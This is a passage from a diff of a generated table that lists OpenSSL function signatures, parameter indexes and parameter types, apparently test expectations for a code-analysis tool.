ossl_sm3_update | 2 | size_t | +| (SRP_VBASE *,SRP_user_pwd *) | | SRP_VBASE_add0_user | 0 | SRP_VBASE * | +| (SRP_VBASE *,SRP_user_pwd *) | | SRP_VBASE_add0_user | 1 | SRP_user_pwd * | +| (SRP_VBASE *,char *) | | SRP_VBASE_get1_by_user | 0 | SRP_VBASE * | +| (SRP_VBASE *,char *) | | SRP_VBASE_get1_by_user | 1 | char * | +| (SRP_VBASE *,char *) | | SRP_VBASE_get_by_user | 0 | SRP_VBASE * | +| (SRP_VBASE *,char *) | | SRP_VBASE_get_by_user | 1 | char * | +| (SRP_user_pwd *,BIGNUM *,BIGNUM *) | | SRP_user_pwd_set0_sv | 0 | SRP_user_pwd * | +| (SRP_user_pwd *,BIGNUM *,BIGNUM *) | | SRP_user_pwd_set0_sv | 1 | BIGNUM * | +| (SRP_user_pwd *,BIGNUM *,BIGNUM *) | | SRP_user_pwd_set0_sv | 2 | BIGNUM * | +| (SRP_user_pwd *,const BIGNUM *,const BIGNUM *) | | SRP_user_pwd_set_gN | 0 | SRP_user_pwd * | +| (SRP_user_pwd *,const BIGNUM *,const BIGNUM *) | | SRP_user_pwd_set_gN | 1 | const BIGNUM * | +| (SRP_user_pwd *,const BIGNUM *,const BIGNUM *) | | SRP_user_pwd_set_gN | 2 | const BIGNUM * | +| (SRP_user_pwd *,const char *,const char *) | | SRP_user_pwd_set1_ids | 0 | SRP_user_pwd * | +| (SRP_user_pwd *,const char *,const char *) | | SRP_user_pwd_set1_ids | 1 | const char * | +| (SRP_user_pwd *,const char *,const char *) | | SRP_user_pwd_set1_ids | 2 | const char * | +| (SSL *) | | SSL_accept | 0 | SSL * | +| (SSL *) | | SSL_certs_clear | 0 | SSL * | +| (SSL *) | | SSL_client_hello_get0_legacy_version | 0 | SSL * | +| (SSL *) | | SSL_client_hello_isv2 | 0 | SSL * | +| (SSL *) | | SSL_connect | 0 | SSL * | +| (SSL *) | | SSL_do_handshake | 0 | SSL * | +| (SSL *) | | SSL_dup | 0 | SSL * | +| (SSL *) | | SSL_get0_connection | 0 | SSL * | +| (SSL *) | | SSL_get0_dane | 0 | SSL * | +| (SSL *) | | SSL_get0_param | 0 | SSL * | +| (SSL *) | | SSL_get0_peer_scts | 0 | SSL * | +| (SSL *) | | SSL_get0_peername | 0 | SSL * | +| (SSL *) | | SSL_get1_session | 0 | SSL * | +| (SSL *) | | SSL_get1_supported_ciphers | 0 | SSL * | +| (SSL *) | | SSL_get_default_passwd_cb | 0 | SSL * | +| (SSL *) | | SSL_get_default_passwd_cb_userdata | 0 | SSL * | +| (SSL *) | | SSL_get_selected_srtp_profile | 0 | SSL * | +| (SSL *) | | SSL_get_srp_N | 0 | SSL * | +| (SSL *) | | SSL_get_srp_g | 0 | SSL * | +| (SSL *) | | SSL_get_srp_userinfo | 0 | SSL * | +| (SSL *) | | SSL_get_srp_username | 0 | SSL * | +| (SSL *) | | SSL_get_srtp_profiles | 0 | SSL * | +| (SSL *) | | SSL_shutdown | 0 | SSL * | +| (SSL *) | | SSL_stateless | 0 | SSL * | +| (SSL *) | | SSL_verify_client_post_handshake | 0 | SSL * | +| (SSL *) | | do_ssl_shutdown | 0 | SSL * | +| (SSL *,..(*)(..)) | | SSL_set_info_callback | 0 | SSL * | +| (SSL *,..(*)(..)) | | SSL_set_info_callback | 1 | ..(*)(..) | +| (SSL *,..(*)(..)) | | SSL_set_record_padding_callback | 0 | SSL * | +| (SSL *,..(*)(..)) | | SSL_set_record_padding_callback | 1 | ..(*)(..) | +| (SSL *,..(*)(..)) | | SSL_set_security_callback | 0 | SSL * | +| (SSL *,..(*)(..)) | | SSL_set_security_callback | 1 | ..(*)(..) | +| (SSL *,..(*)(..),void *) | | SSL_set_cert_cb | 0 | SSL * | +| (SSL *,..(*)(..),void *) | | SSL_set_cert_cb | 1 | ..(*)(..) | +| (SSL *,..(*)(..),void *) | | SSL_set_cert_cb | 2 | void * | +| (SSL *,BIO *) | | SSL_set0_rbio | 0 | SSL * | +| (SSL *,BIO *) | | SSL_set0_rbio | 1 | BIO * | +| (SSL *,BIO *) | | SSL_set0_wbio | 0 | SSL * | +| (SSL *,BIO *) | | SSL_set0_wbio | 1 | BIO * | +| (SSL *,BIO *) | | print_verify_detail | 0 | SSL * | +| (SSL *,BIO *) | | print_verify_detail | 1 | BIO * | +| (SSL *,BIO *,BIO *) | | SSL_set_bio | 0 | SSL * | +| (SSL *,BIO *,BIO *) | | SSL_set_bio | 1 | BIO * | +| (SSL *,BIO *,BIO *) | | SSL_set_bio | 2 | BIO * | +| (SSL *,DTLS_timer_cb) | | DTLS_set_timer_cb | 0 | SSL * | +| (SSL *,DTLS_timer_cb) | | DTLS_set_timer_cb | 1 | DTLS_timer_cb | +| (SSL *,EVP_PKEY *) | | SSL_set0_tmp_dh_pkey | 0 | SSL * | +| (SSL *,EVP_PKEY *) | | SSL_set0_tmp_dh_pkey | 1 | EVP_PKEY * | +| (SSL *,GEN_SESSION_CB) | | SSL_set_generate_session_id | 0 | SSL * | +| (SSL *,GEN_SESSION_CB) | | SSL_set_generate_session_id | 1 | GEN_SESSION_CB | +| (SSL *,SSL *) | | shutdown_ssl_connection | 0 | SSL * | +| (SSL *,SSL *) | | shutdown_ssl_connection | 1 | SSL * | +| (SSL *,SSL *,int) | | create_ssl_connection | 0 | SSL * | +| (SSL *,SSL *,int) | | create_ssl_connection | 1 | SSL * | +| (SSL *,SSL *,int) | | create_ssl_connection | 2 | int | +| (SSL *,SSL *,int,int,int) | | create_bare_ssl_connection | 0 | SSL * | +| (SSL *,SSL *,int,int,int) | | create_bare_ssl_connection | 1 | SSL * | +| (SSL *,SSL *,int,int,int) | | create_bare_ssl_connection | 2 | int | +| (SSL *,SSL *,int,int,int) | | create_bare_ssl_connection | 3 | int | +| (SSL *,SSL *,int,int,int) | | create_bare_ssl_connection | 4 | int | +| (SSL *,SSL *,int,long,clock_t *,clock_t *) | | doit_localhost | 0 | SSL * | +| (SSL *,SSL *,int,long,clock_t *,clock_t *) | | doit_localhost | 1 | SSL * | +| (SSL *,SSL *,int,long,clock_t *,clock_t *) | | doit_localhost | 2 | int | +| (SSL *,SSL *,int,long,clock_t *,clock_t *) | | doit_localhost | 3 | long | +| (SSL *,SSL *,int,long,clock_t *,clock_t *) | | doit_localhost | 4 | clock_t * | +| (SSL *,SSL *,int,long,clock_t *,clock_t *) | | doit_localhost | 5 | clock_t * | +| (SSL *,SSL *,long,clock_t *,clock_t *) | | doit_biopair | 0 | SSL * | +| (SSL *,SSL *,long,clock_t *,clock_t *) | | doit_biopair | 1 | SSL * | +| (SSL *,SSL *,long,clock_t *,clock_t *) | | doit_biopair | 2 | long | +| (SSL *,SSL *,long,clock_t *,clock_t *) | | doit_biopair | 3 | clock_t * | +| (SSL *,SSL *,long,clock_t *,clock_t *) | | doit_biopair | 4 | clock_t * | +| (SSL *,SSL_CTX *) | | SSL_set_SSL_CTX | 0 | SSL * | +| (SSL *,SSL_CTX *) | | SSL_set_SSL_CTX | 1 | SSL_CTX * | +| (SSL *,SSL_CTX *,const SSL_METHOD *,int) | | ossl_ssl_init | 0 | SSL * | +| (SSL *,SSL_CTX *,const SSL_METHOD *,int) | | ossl_ssl_init | 1 | SSL_CTX * | +| (SSL *,SSL_CTX *,const SSL_METHOD *,int) | | ossl_ssl_init | 2 | const SSL_METHOD * | +| (SSL *,SSL_CTX *,const SSL_METHOD *,int) | | ossl_ssl_init | 3 | int | +| (SSL *,SSL_SESSION *) | | SSL_set_session | 0 | SSL * | +| (SSL *,SSL_SESSION *) | | SSL_set_session | 1 | SSL_SESSION * | +| (SSL *,SSL_allow_early_data_cb_fn,void *) | | SSL_set_allow_early_data_cb | 0 | SSL * | +| (SSL *,SSL_allow_early_data_cb_fn,void *) | | SSL_set_allow_early_data_cb | 1 | SSL_allow_early_data_cb_fn | +| (SSL *,SSL_allow_early_data_cb_fn,void *) | | SSL_set_allow_early_data_cb | 2 | void * | +| (SSL *,SSL_async_callback_fn) | | SSL_set_async_callback | 0 | SSL * | +| (SSL *,SSL_async_callback_fn) | | SSL_set_async_callback | 1 | SSL_async_callback_fn | +| (SSL *,SSL_psk_client_cb_func) | | SSL_set_psk_client_callback | 0 | SSL * | +| (SSL *,SSL_psk_client_cb_func) | | SSL_set_psk_client_callback | 1 | SSL_psk_client_cb_func | +| (SSL *,SSL_psk_find_session_cb_func) | | SSL_set_psk_find_session_callback | 0 | SSL * | +| (SSL *,SSL_psk_find_session_cb_func) | | SSL_set_psk_find_session_callback | 1 | SSL_psk_find_session_cb_func | +| (SSL *,SSL_psk_server_cb_func) | | SSL_set_psk_server_callback | 0 | SSL * | +| (SSL *,SSL_psk_server_cb_func) | | SSL_set_psk_server_callback | 1 | SSL_psk_server_cb_func | +| (SSL *,SSL_psk_use_session_cb_func) | | SSL_set_psk_use_session_callback | 0 | SSL * | +| (SSL *,SSL_psk_use_session_cb_func) | | SSL_set_psk_use_session_callback | 1 | SSL_psk_use_session_cb_func | +| (SSL *,X509 *) | | SSL_use_certificate | 0 | SSL * | +| (SSL *,X509 *) | | SSL_use_certificate | 1 | X509 * | +| (SSL *,X509 **,EVP_PKEY **) | | SSL_get0_dane_authority | 0 | SSL * | +| (SSL *,X509 **,EVP_PKEY **) | | SSL_get0_dane_authority | 1 | X509 ** | +| (SSL *,X509 **,EVP_PKEY **) | | SSL_get0_dane_authority | 2 | EVP_PKEY ** | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *) | | SSL_check_chain | 0 | SSL * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *) | | SSL_check_chain | 1 | X509 * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *) | | SSL_check_chain | 2 | EVP_PKEY * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *) | | SSL_check_chain | 3 | stack_st_X509 * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_use_cert_and_key | 0 | SSL * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_use_cert_and_key | 1 | X509 * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_use_cert_and_key | 2 | EVP_PKEY * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_use_cert_and_key | 3 | stack_st_X509 * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_use_cert_and_key | 4 | int | +| (SSL *,X509_VERIFY_PARAM *) | | SSL_set1_param | 0 | SSL * | +| (SSL *,X509_VERIFY_PARAM *) | | SSL_set1_param | 1 | X509_VERIFY_PARAM * | +| (SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *) | | SSL_set_srp_server_param | 0 | SSL * | +| (SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *) | | SSL_set_srp_server_param | 1 | const BIGNUM * | +| (SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *) | | SSL_set_srp_server_param | 2 | const BIGNUM * | +| (SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *) | | SSL_set_srp_server_param | 3 | BIGNUM * | +| (SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *) | | SSL_set_srp_server_param | 4 | BIGNUM * | +| (SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *) | | SSL_set_srp_server_param | 5 | char * | +| (SSL *,const OSSL_DISPATCH *,void *) | | SSL_set_quic_tls_cbs | 0 | SSL * | +| (SSL *,const OSSL_DISPATCH *,void *) | | SSL_set_quic_tls_cbs | 1 | const OSSL_DISPATCH * | +| (SSL *,const OSSL_DISPATCH *,void *) | | SSL_set_quic_tls_cbs | 2 | void * | +| (SSL *,const SSL *) | | SSL_copy_session_id | 0 | SSL * | +| (SSL *,const SSL *) | | SSL_copy_session_id | 1 | const SSL * | +| (SSL *,const SSL_METHOD *) | | SSL_set_ssl_method | 0 | SSL * | +| (SSL *,const SSL_METHOD *) | | SSL_set_ssl_method | 1 | const SSL_METHOD * | +| (SSL *,const char *) | | SSL_add1_host | 0 | SSL * | +| (SSL *,const char *) | | SSL_add1_host | 1 | const char * | +| (SSL *,const char *) | | SSL_set1_host | 0 | SSL * | +| (SSL *,const char *) | | SSL_set1_host | 1 | const char * | +| (SSL *,const char *) | | SSL_set_cipher_list | 0 | SSL * | +| (SSL *,const char *) | | SSL_set_cipher_list | 1 | const char * | +| (SSL *,const char *) | | SSL_use_psk_identity_hint | 0 | SSL * | +| (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | const char * | +| (SSL *,const unsigned char **) | | SSL_client_hello_get0_compression_methods | 0 | SSL * | +| (SSL *,const unsigned char **) | | SSL_client_hello_get0_compression_methods | 1 | const unsigned char ** | +| (SSL *,const unsigned char **) | | SSL_client_hello_get0_random | 0 | SSL * | +| (SSL *,const unsigned char **) | | SSL_client_hello_get0_random | 1 | const unsigned char ** | +| (SSL *,const unsigned char **) | | SSL_client_hello_get0_session_id | 0 | SSL * | +| (SSL *,const unsigned char **) | | SSL_client_hello_get0_session_id | 1 | const unsigned char ** | +| (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 0 | SSL * | +| (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 1 | const unsigned char * | +| (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | int | +| (SSL *,const unsigned char *,long) | | SSL_use_RSAPrivateKey_ASN1 | 0 | SSL * | +| (SSL *,const unsigned char *,long) | | SSL_use_RSAPrivateKey_ASN1 | 1 | const unsigned char * | +| (SSL *,const unsigned char *,long) | | SSL_use_RSAPrivateKey_ASN1 | 2 | long | +| (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 0 | SSL * | +| (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 1 | const unsigned char * | +| (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 2 | size_t | +| (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 0 | SSL * | +| (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 1 | const unsigned char * | +| (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 2 | size_t | +| (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 0 | SSL * | +| (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 1 | const unsigned char * | +| (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 2 | size_t | +| (SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | SSL_inject_net_dgram | 0 | SSL * | +| (SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | SSL_inject_net_dgram | 1 | const unsigned char * | +| (SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | SSL_inject_net_dgram | 2 | size_t | +| (SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | SSL_inject_net_dgram | 3 | const BIO_ADDR * | +| (SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | SSL_inject_net_dgram | 4 | const BIO_ADDR * | +| (SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **) | | SSL_bytes_to_cipher_list | 0 | SSL * | +| (SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **) | | SSL_bytes_to_cipher_list | 1 | const unsigned char * | +| (SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **) | | SSL_bytes_to_cipher_list | 2 | size_t | +| (SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **) | | SSL_bytes_to_cipher_list | 3 | int | +| (SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **) | | SSL_bytes_to_cipher_list | 4 | stack_st_SSL_CIPHER ** | +| (SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **) | | SSL_bytes_to_cipher_list | 5 | stack_st_SSL_CIPHER ** | +| (SSL *,const unsigned char *,unsigned int) | | SSL_set_alpn_protos | 0 | SSL * | +| (SSL *,const unsigned char *,unsigned int) | | SSL_set_alpn_protos | 1 | const unsigned char * | +| (SSL *,const unsigned char *,unsigned int) | | SSL_set_alpn_protos | 2 | unsigned int | +| (SSL *,const unsigned char *,unsigned int) | | SSL_set_session_id_context | 0 | SSL * | +| (SSL *,const unsigned char *,unsigned int) | | SSL_set_session_id_context | 1 | const unsigned char * | +| (SSL *,const unsigned char *,unsigned int) | | SSL_set_session_id_context | 2 | unsigned int | +| (SSL *,const void *,int) | | SSL_write | 0 | SSL * | +| (SSL *,const void *,int) | | SSL_write | 1 | const void * | +| (SSL *,const void *,int) | | SSL_write | 2 | int | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_early_data | 0 | SSL * | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_early_data | 1 | const void * | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_early_data | 2 | size_t | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_early_data | 3 | size_t * | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_ex | 0 | SSL * | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_ex | 1 | const void * | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_ex | 2 | size_t | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_ex | 3 | size_t * | +| (SSL *,const void *,size_t,size_t *) | | ossl_quic_write | 0 | SSL * | +| (SSL *,const void *,size_t,size_t *) | | ossl_quic_write | 1 | const void * | +| (SSL *,const void *,size_t,size_t *) | | ossl_quic_write | 2 | size_t | +| (SSL *,const void *,size_t,size_t *) | | ossl_quic_write | 3 | size_t * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | SSL_write_ex2 | 0 | SSL * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | SSL_write_ex2 | 1 | const void * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | SSL_write_ex2 | 2 | size_t | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | SSL_write_ex2 | 3 | uint64_t | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | SSL_write_ex2 | 4 | size_t * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ossl_quic_write_flags | 0 | SSL * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ossl_quic_write_flags | 1 | const void * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ossl_quic_write_flags | 2 | size_t | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ossl_quic_write_flags | 3 | uint64_t | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ossl_quic_write_flags | 4 | size_t * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ssl_write_internal | 0 | SSL * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ssl_write_internal | 1 | const void * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ssl_write_internal | 2 | size_t | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ssl_write_internal | 3 | uint64_t | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ssl_write_internal | 4 | size_t * | +| (SSL *,int *) | | SSL_get_async_status | 0 | SSL * | +| (SSL *,int *) | | SSL_get_async_status | 1 | int * | +| (SSL *,int *,size_t *) | | SSL_get_all_async_fds | 0 | SSL * | +| (SSL *,int *,size_t *) | | SSL_get_all_async_fds | 1 | int * | +| (SSL *,int *,size_t *) | | SSL_get_all_async_fds | 2 | size_t * | +| (SSL *,int *,size_t *,int *,size_t *) | | SSL_get_changed_async_fds | 0 | SSL * | +| (SSL *,int *,size_t *,int *,size_t *) | | SSL_get_changed_async_fds | 1 | int * | +| (SSL *,int *,size_t *,int *,size_t *) | | SSL_get_changed_async_fds | 2 | size_t * | +| (SSL *,int *,size_t *,int *,size_t *) | | SSL_get_changed_async_fds | 3 | int * | +| (SSL *,int *,size_t *,int *,size_t *) | | SSL_get_changed_async_fds | 4 | size_t * | +| (SSL *,int) | | SSL_key_update | 0 | SSL * | +| (SSL *,int) | | SSL_key_update | 1 | int | +| (SSL *,int) | | SSL_set_post_handshake_auth | 0 | SSL * | +| (SSL *,int) | | SSL_set_post_handshake_auth | 1 | int | +| (SSL *,int) | | SSL_set_purpose | 0 | SSL * | +| (SSL *,int) | | SSL_set_purpose | 1 | int | +| (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 0 | SSL * | +| (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | int | +| (SSL *,int) | | SSL_set_quiet_shutdown | 0 | SSL * | +| (SSL *,int) | | SSL_set_quiet_shutdown | 1 | int | +| (SSL *,int) | | SSL_set_read_ahead | 0 | SSL * | +| (SSL *,int) | | SSL_set_read_ahead | 1 | int | +| (SSL *,int) | | SSL_set_security_level | 0 | SSL * | +| (SSL *,int) | | SSL_set_security_level | 1 | int | +| (SSL *,int) | | SSL_set_shutdown | 0 | SSL * | +| (SSL *,int) | | SSL_set_shutdown | 1 | int | +| (SSL *,int) | | SSL_set_trust | 0 | SSL * | +| (SSL *,int) | | SSL_set_trust | 1 | int | +| (SSL *,int) | | SSL_set_verify_depth | 0 | SSL * | +| (SSL *,int) | | SSL_set_verify_depth | 1 | int | +| (SSL *,int,..(*)(..)) | | ssl3_callback_ctrl | 0 | SSL * | +| (SSL *,int,..(*)(..)) | | ssl3_callback_ctrl | 1 | int | +| (SSL *,int,..(*)(..)) | | ssl3_callback_ctrl | 2 | ..(*)(..) | +| (SSL *,int,..(*)(..),SSL_verify_cb) | | SSL_set_verify | 0 | SSL * | +| (SSL *,int,..(*)(..),SSL_verify_cb) | | SSL_set_verify | 1 | int | +| (SSL *,int,..(*)(..),SSL_verify_cb) | | SSL_set_verify | 2 | ..(*)(..) | +| (SSL *,int,..(*)(..),SSL_verify_cb) | | SSL_set_verify | 3 | SSL_verify_cb | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 0 | SSL * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 1 | int | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 2 | int * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 3 | int * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 4 | int * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 5 | unsigned char * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 6 | unsigned char * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 0 | SSL * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 1 | int | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 2 | int * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 3 | int * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 4 | int * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 5 | unsigned char * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 6 | unsigned char * | +| (SSL *,int,long,void *) | | SSL_ctrl | 0 | SSL * | +| (SSL *,int,long,void *) | | SSL_ctrl | 1 | int | +| (SSL *,int,long,void *) | | SSL_ctrl | 2 | long | +| (SSL *,int,long,void *) | | SSL_ctrl | 3 | void * | +| (SSL *,int,long,void *) | | dtls1_ctrl | 0 | SSL * | +| (SSL *,int,long,void *) | | dtls1_ctrl | 1 | int | +| (SSL *,int,long,void *) | | dtls1_ctrl | 2 | long | +| (SSL *,int,long,void *) | | dtls1_ctrl | 3 | void * | +| (SSL *,int,long,void *) | | ossl_quic_ctrl | 0 | SSL * | +| (SSL *,int,long,void *) | | ossl_quic_ctrl | 1 | int | +| (SSL *,int,long,void *) | | ossl_quic_ctrl | 2 | long | +| (SSL *,int,long,void *) | | ossl_quic_ctrl | 3 | void * | +| (SSL *,int,long,void *) | | ssl3_ctrl | 0 | SSL * | +| (SSL *,int,long,void *) | | ssl3_ctrl | 1 | int | +| (SSL *,int,long,void *) | | ssl3_ctrl | 2 | long | +| (SSL *,int,long,void *) | | ssl3_ctrl | 3 | void * | +| (SSL *,int,long,void *,int) | | ossl_ctrl_internal | 0 | SSL * | +| (SSL *,int,long,void *,int) | | ossl_ctrl_internal | 1 | int | +| (SSL *,int,long,void *,int) | | ossl_ctrl_internal | 2 | long | +| (SSL *,int,long,void *,int) | | ossl_ctrl_internal | 3 | void * | +| (SSL *,int,long,void *,int) | | ossl_ctrl_internal | 4 | int | +| (SSL *,long) | | SSL_set_verify_result | 0 | SSL * | +| (SSL *,long) | | SSL_set_verify_result | 1 | long | +| (SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *) | | ossl_statem_set_mutator | 0 | SSL * | +| (SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *) | | ossl_statem_set_mutator | 1 | ossl_statem_mutate_handshake_cb | +| (SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *) | | ossl_statem_set_mutator | 2 | ossl_statem_finish_mutate_handshake_cb | +| (SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *) | | ossl_statem_set_mutator | 3 | void * | +| (SSL *,pem_password_cb *) | | SSL_set_default_passwd_cb | 0 | SSL * | +| (SSL *,pem_password_cb *) | | SSL_set_default_passwd_cb | 1 | pem_password_cb * | +| (SSL *,size_t) | | SSL_set_block_padding | 0 | SSL * | +| (SSL *,size_t) | | SSL_set_block_padding | 1 | size_t | +| (SSL *,size_t) | | SSL_set_default_read_buffer_len | 0 | SSL * | +| (SSL *,size_t) | | SSL_set_default_read_buffer_len | 1 | size_t | +| (SSL *,size_t) | | SSL_set_num_tickets | 0 | SSL * | +| (SSL *,size_t) | | SSL_set_num_tickets | 1 | size_t | +| (SSL *,size_t) | | create_a_psk | 0 | SSL * | +| (SSL *,size_t) | | create_a_psk | 1 | size_t | +| (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 0 | SSL * | +| (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 1 | size_t | +| (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 2 | size_t | +| (SSL *,ssl_ct_validation_cb,void *) | | SSL_set_ct_validation_callback | 0 | SSL * | +| (SSL *,ssl_ct_validation_cb,void *) | | SSL_set_ct_validation_callback | 1 | ssl_ct_validation_cb | +| (SSL *,ssl_ct_validation_cb,void *) | | SSL_set_ct_validation_callback | 2 | void * | +| (SSL *,stack_st_X509_NAME *) | | SSL_set0_CA_list | 0 | SSL * | +| (SSL *,stack_st_X509_NAME *) | | SSL_set0_CA_list | 1 | stack_st_X509_NAME * | +| (SSL *,stack_st_X509_NAME *) | | SSL_set_client_CA_list | 0 | SSL * | +| (SSL *,stack_st_X509_NAME *) | | SSL_set_client_CA_list | 1 | stack_st_X509_NAME * | +| (SSL *,tls_session_secret_cb_fn,void *) | | SSL_set_session_secret_cb | 0 | SSL * | +| (SSL *,tls_session_secret_cb_fn,void *) | | SSL_set_session_secret_cb | 1 | tls_session_secret_cb_fn | +| (SSL *,tls_session_secret_cb_fn,void *) | | SSL_set_session_secret_cb | 2 | void * | +| (SSL *,tls_session_ticket_ext_cb_fn,void *) | | SSL_set_session_ticket_ext_cb | 0 | SSL * | +| (SSL *,tls_session_ticket_ext_cb_fn,void *) | | SSL_set_session_ticket_ext_cb | 1 | tls_session_ticket_ext_cb_fn | +| (SSL *,tls_session_ticket_ext_cb_fn,void *) | | SSL_set_session_ticket_ext_cb | 2 | void * | +| (SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *) | | SSL_get0_dane_tlsa | 0 | SSL * | +| (SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *) | | SSL_get0_dane_tlsa | 1 | uint8_t * | +| (SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *) | | SSL_get0_dane_tlsa | 2 | uint8_t * | +| (SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *) | | SSL_get0_dane_tlsa | 3 | uint8_t * | +| (SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *) | | SSL_get0_dane_tlsa | 4 | const unsigned char ** | +| (SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *) | | SSL_get0_dane_tlsa | 5 | size_t * | +| (SSL *,uint8_t) | | SSL_set_tlsext_max_fragment_length | 0 | SSL * | +| (SSL *,uint8_t) | | SSL_set_tlsext_max_fragment_length | 1 | uint8_t | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_app_data_bytes | 0 | SSL * | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_app_data_bytes | 1 | uint8_t | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_app_data_bytes | 2 | const void * | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | 